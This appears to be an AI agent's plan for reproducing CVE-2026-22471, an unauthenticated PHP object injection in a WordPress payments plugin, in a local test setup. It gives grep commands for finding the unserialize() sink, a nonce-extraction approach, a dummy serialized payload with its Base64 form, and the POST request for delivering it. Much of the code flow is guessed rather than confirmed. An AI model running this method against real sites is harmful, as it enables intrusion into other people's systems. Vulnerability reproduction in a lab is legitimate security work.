Secudeal Payments for Ecommerce <= 1.1 - Unauthenticated PHP Object Injection

This research plan targets CVE-2026-22471, a PHP Object Injection vulnerability in the Secudeal Payments for Ecommerce plugin. Since no specific POP chain is provided, the plan focuses on identifying the unauthenticated entry point and demonstrating that user-controlled input reaches a unserialize() call.

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1. Vulnerability Summary

The Secudeal Payments for Ecommerce plugin (versions <= 1.1) fails to sanitize or validate data received from external sources before passing it to the PHP unserialize() function. This typically occurs in components designed to handle payment notifications (webhooks) or redirects from the Secudeal payment gateway. Because this endpoint is designed to be hit by an external service, it is often unauthenticated, allowing any remote attacker to submit a serialized PHP object.

2. Attack Vector Analysis

• Vulnerable Endpoint: Likely an init hook handler or a specific AJAX/REST action designed for payment callbacks.
• Target Parameter: Inferred to be data, response, payload, or secudeal_res.
• Authentication: Unauthenticated (required for payment webhooks).
• Preconditions: The plugin must be active. Some payment gateways require a "Merchant ID" or "API Key" to be configured to reach the logic, but the deserialization often happens before or during the signature check.

3. Code Flow (Inferred)

Based on common payment gateway plugin architectures:

1. Entry: The plugin registers a handler via add_action('init', ...) or add_action('wp_ajax_nopriv_...', ...).
2. Processing: A function (e.g., handle_callback() or process_response()) is triggered by the presence of a specific GET/POST parameter (e.g., secudeal_action=return).
3. Extraction: The plugin retrieves a parameter containing encoded data (often Base64 or URL-encoded).
4. Sink: The plugin calls unserialize(base64_decode($_POST['data'])) (or similar) to reconstruct the payment response object.

4. Nonce Acquisition Strategy

Payment callback endpoints (wp_ajax_nopriv_ or init) almost never use WordPress nonces because the request originates from an external server (Secudeal) that does not have access to the WP session/nonce secrets.

Verification Steps for the Agent:

1. Search for the entry point:
   grep -rnE "unserialize|maybe_unserialize" wp-content/plugins/secudeal-payments-for-ecommerce/
2. Check the surrounding function for wp_verify_nonce or check_ajax_referer.
3. If a nonce is unexpectedly required:
   • Identify if it's localized: grep -r "wp_localize_script" .
   • Create a page with the checkout shortcode (e.g., [secudeal_payment]).
   • Use browser_navigate and browser_eval to extract the nonce from the JS object.

5. Exploitation Strategy

Step 1: Identify the Sink and Parameter

The agent will execute:

grep -r "unserialize" wp-content/plugins/secudeal-payments-for-ecommerce/

Targeting code that looks like:
$response = unserialize(base64_decode($_POST['secudeal_data']));

Step 2: Determine the Trigger

Look for the hook:

grep -r "add_action" wp-content/plugins/secudeal-payments-for-ecommerce/ | grep -E "init|wp_ajax_nopriv|template_redirect"

Step 3: Craft the Payload

Since no POP chain exists in the plugin, we use a simple stdClass or a dummy class to confirm the injection. To prove execution, we can attempt to trigger a core WordPress class if the environment allows, or simply monitor for PHP errors related to failed deserialization of malformed objects.

Sample Payload (Dummy Object):
O:8:"stdClass":1:{s:3:"foo";s:3:"bar";}
Base64: Tzo4OiJzdGRDbGFzcyI6MTp7czozOiJmb28iO3M6MzoiYmFyIjt9

Step 4: Execute HTTP Request

Using the http_request tool:

• URL: http://localhost:8080/wp-admin/admin-ajax.php (if AJAX) OR http://localhost:8080/ (if init hook).
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: action=secudeal_callback&secudeal_data=Tzo4OiJzdGRDbGFzcyI6MTp7czozOiJmb28iO3M6MzoiYmFyIjt9 (Adjust keys based on Step 1).

6. Test Data Setup

1. Plugin Activation: wp plugin activate secudeal-payments-for-ecommerce
2. Configuration: Some plugins require a "Merchant ID" to be set in the database for the callback logic to execute.
   • wp option update secudeal_merchant_id "12345" (inferred option name).
3. Shortcode Page (If needed for discovery):
   • wp post create --post_type=page --post_status=publish --post_title="Pay" --post_content="[secudeal_checkout]"

7. Expected Results

• Success: If WP_DEBUG is on, the server might return a notice if the deserialized object is used incorrectly later, or simply return a 200 OK if the payload is processed.
• Confirmation: To truly confirm, we can use an OOB (Out-of-Band) payload if the Requests library or similar is available in core to trigger a DNS/HTTP request.
• Log Entry: Check wp-content/debug.log for "unserialize()" errors or type mismatches.

8. Verification Steps

After the HTTP request, verify if the plugin logic was reached:

1. Check the debug.log: tail -n 50 wp-content/debug.log.
2. If the payload was designed to modify an option (via a POP chain):
   • wp option get [affected_option]
3. If using a dummy class:
   • Check for PHP Fatal error: Class 'UnknownClass' not found in the logs, which confirms unserialize was executed on the payload.

9. Alternative Approaches

• GET-based Injection: Check if the plugin uses $_REQUEST or $_GET instead of $_POST.
• REST API: If no AJAX/Init hooks are found, check register_rest_route for unauthenticated endpoints.
• Double Encoding: The plugin might expect URL-encoded Base64 or even raw serialized data. Test multiple encoding formats for the target parameter.